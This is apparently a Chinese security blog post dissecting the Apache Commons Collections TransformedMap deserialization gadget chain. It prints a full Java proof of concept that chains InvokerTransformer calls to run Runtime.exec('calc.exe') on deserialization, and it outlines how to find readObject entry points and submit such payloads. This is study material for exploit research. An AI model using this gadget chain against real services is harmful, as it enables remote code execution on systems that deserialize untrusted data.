Apache Common-collection 反序列化利用链解析--TransformedMap链
Apache Common-collection 反序列化利用链解析
TransformedMap链
参考Java反序列化漏洞分析 - ssooking - 博客园 (cnblogs.com)
poc
package com.company;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class PocTest {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
innerMap.put("value","asdf");
Map outerMap = TransformedMap.decorate(innerMap,null,chain);
// 通过反射机制实例化AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Target.class,outerMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
利用链原理分析
首先我们来看Transformer类。其中transform方法可以看作将一个对象转换为另一个对象。

我们看看有哪些方法实现了Transformer接口。ctrl+H查找一下

我们一个个步入看一下。
首先先来看InvokerTransformer.
这个类还实现了Serializable接口,说明其能够进行序列化。


再来看一下 ConstantTransformer类,构造函数接受参数,没什么特别的。

再来看一下ChainedTransformer

通过InvokerTransformer, ConstantTransformer,ChainedTransformer这三个类我们可以推出一条基础的利用链。
我们来看看poc前半部分,注释为ChainedTransformer调用transform方法的结果
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),//第一次transform,输入为Runtime.class,返回结果为Runtime.class
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),//第二次transform,输入为Runtime.class,返回为Method对象getRuntime。
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),//第三次transform,输入为Method对象getRuntime,返回是Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};//最后一次transform,即runtime.exec("calc.exe"),弹出计算器
Transformer chain = new ChainedTransformer(transformers_exec);//将数组转换成链
这里之前有疑惑,为什么需要调用invoke方法。将这行注释掉之后,会发现报错。

才发现getMethod返回的对象是Method对象,不能直接调用exec,才需要invoke。这里后续需要去仔细查看一下method.invoke方法。
接下来会碰到TransformedMap这个类,调用decorate这个函数,会调用这个构造函数,将参数保存到对象中。
Map类 --> TransformedMap
Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时(即key或value:集合中的数据存储形式即是一个索引对应一个值,就像身份证与人的关系那样),会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来; 或者在数据改变时,进行一些我们提前设定好的操作。
至于会进行怎样的操作或变换,这是由我们提前设定的,这个叫做transform。


接着分析poc
HashMap innerMap = new HashMap();
innerMap.put("value","asdf");
Map outerMap = TransformedMap.decorate(innerMap,null,chain);//这里创建了Map对象,并将序列化链保存到了outerMap的valueTransformer中,当value被更改时,便会触发TransformedMap的transformValue方法从而触发chain的transform方法,完成代码执行。
到了这一步,我们需要调用map的SetValue函数,才能触发transform。那么反序列化中readobject如何调用这个函数呢?
看看sun.reflect.annotation.AnnotationInvocationHandler。
这个类的构造函数正好接受了一个Map对象。

再看看readobject方法

看看poc,接下来就是传入含有恶意代码的map,实例化AnnotationInvocationHandler类。并对其进行序列化,反序列化。
// 通过反射机制实例化AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);//获取参数为class和map的构造函数
cons.setAccessible(true);//取消安全访问机制,可以使用private函数
Object ins = cons.newInstance(java.lang.annotation.Target.class,outerMap);//使用构造函数
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
总结一下,本条链的思路:
首先本质是使用反射来实现方法的执行,即InvokerTransformer类。然后由于runtime.exec()方法只使用一次InvokerTransformer无法完成调用,便考虑配合ConstantTransformer与ChainedTransformer构造方法执行链。完成方法执行链的构造后,我们需要想办法触发这条链。此时便找到了TransformedMap,当修改TransformedMap对象的映射内容时,会自动调用transform方法。将chain保存到TransformedMap对象的Value中。最后,思考如何使用readobject调用setvalue方法改变value值,发现AnnotationInvocationHandler正好符合要求。便将其作为对象,TransformedMap对象作为参数进行实例化。而后进行序列化,反序列化即可。
反序列化时的调用流程: readobject() --> setValue() --> transform() 调用方法执行链实现代码
漏洞利用
1.漏洞触发场景 在java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景:
1)HTTP请求中的参数,cookies以及Parameters。
2)RMI协议,被广泛使用的RMI协议完全基于序列化
3)JMX 同样用于处理序列化对象
4)自定义协议 用来接收与发送原始的java对象
2. 漏洞挖掘
(1)确定反序列化输入点
首先应找出readObject方法调用,在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找:
1)源码审计:寻找可以利用的“靶点”,即确定调用反序列化函数readObject的调用地点。
2)对该应用进行网络行为抓包,寻找序列化数据,如wireshark,tcpdump等 注: java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码后的特征为rO0AB。
(2)再考察应用的Class Path中是否包含Apache Commons Collections库
(3)生成反序列化的payload
(4)提交我们的payload数据
Apache Common-collection 反序列化利用链解析--TransformedMap链的更多相关文章
- Common lang一些边界方法总结(好记性不如烂笔头,需要慢慢积累).一定要利用好现有的轮子,例如Apache common与Google Guava
好记性真是不如烂笔头啊!!!! 如下代码: List<String> list = new ArrayList<String>(); list.add("1" ...
- CommonsCollections1 反序列化利用链分析
InvokerTransformer 首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors ...
- WEB文件上传之apache common upload使用(一)
文件上传一个经常用到的功能,它有许多中实现的方案. 页面表单 + RFC1897规范 + http协议上传 页面控件(flash/html5/activeX/applet) + RFC1897规范 + ...
- 【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现
一.实验简介 实验所属系列: 系统安全 实验对象:本科/专科信息安全专业 相关课程及专业: 计算机网络 实验时数(学分):2 学时 实验类别: 实践实验类 二.实验目的 Apache Dubbo是一款 ...
- Apache Common DbUtils
前段时间使用了Apache Common DbUtils这个工具,在此留个印,以备不时查看.大家都知道现在市面上的数据库访问层的框架很多,当然很多都是包含了OR-Mapping工作步骤的 例如大家常用 ...
- org.apache.common.io-FileUtils详解
org.apache.common.io---FileUtils详解 getTempDirectoryPath():返回临时目录路径; public static String getTempDire ...
- python爬虫:利用BeautifulSoup爬取链家深圳二手房首页的详细信息
1.问题描述: 爬取链家深圳二手房的详细信息,并将爬取的数据存储到Excel表 2.思路分析: 发送请求--获取数据--解析数据--存储数据 1.目标网址:https://sz.lianjia.com ...
- 25. Apache Shiro Java反序列化漏洞
前言: 最近在审核漏洞的时候,发现尽管Apache shiro这个反序列化漏洞爆出来好久了,但是由于漏洞特征不明显,并且shiro这个组件之前很少听说,导致大厂很多服务还存在shiro反序列化的漏洞, ...
- [转帖]深度解析区块链POW和POS的区别
深度解析区块链POW和POS的区别 Proof of Work 还有Proof of Stake 之前理解程了 state ... 股权的意思 还有 delegated proof of Stake ...
随机推荐
- 使用 baget 搭建私有 nuget 私有服务
现在几乎所有语言都提供包管理工具,比如 JavaScript 的 npm ,Java 的 Maven ,Dart 的 pub ..Net 程序当然是 NuGet .NuGet 也出现很多年了,奇怪的是 ...
- Linux查看英伟达GPU信息
命令: nvidia-smi 结果:
- Hive的分桶表
[分桶概述] Hive表分区的实质是分目录(将超大表的数据按指定标准细分到指定目录),且分区的字段不属于Hive表中存在的字段:分桶的实质是分文件(将超大文件的数据按指定标准细分到分桶文件),且分桶的 ...
- openswan协商流程之(一):main_outI1()
主模式第一包:main_outI1() 1. 序言 main_outI1()作为主模式主动发起连接请求的核心处理函数,我们可以通过学习该函数的处理流程来探究openswan中报文封装的基本思想.如果之 ...
- try/catch捕获处理异常
1.throws是中断处理,后续代码不能执行 try/catch方法体之后的后续代码有没有异常都可以继续执行: 2.当try方法体中出现异常才会执行catch方法体中代码
- golang指针接收者和值接收者方法调用笔记
初学go时很多同学会把 值接收者 和 指针接收者 的方法相互调用搞混淆,好多同学都只记得指针类型可以调用值接收者方法和指针接收者方法,而值类型只能调用值接收者方法,其实不然,在某些情况下,值类型也是可 ...
- spark相关介绍-提取hive表(一)
本文环境说明 centos服务器 jupyter的scala核spylon-kernel spark-2.4.0 scala-2.11.12 hadoop-2.6.0 本文主要内容 spark读取hi ...
- Ebiten-纯Golang开发的跨平台游戏引擎
Go语言不是让你玩的啊喂! 昨天跟好基友聊开发的事,他说他等着闲下来的时候就用PYGame写个像那个最近挺火的"文X游X"一样的游戏.(没收广告费啊!) 基友突然嘲笑我:" ...
- 3.8学习总结——Android保存信息
为了保存软件的设置参数,Android平台为我们提供了一个SharedPreferences接口,它是一个轻量级的存储类,特别适合用于保存软件配置参数.使用SharedPreferences保存数据, ...
- centos8安装php扩展memcached报错
在php扩展memcached中执行./configure --with-php-config=/usr/local/php/bin/php-config 报错: error: memcached s ...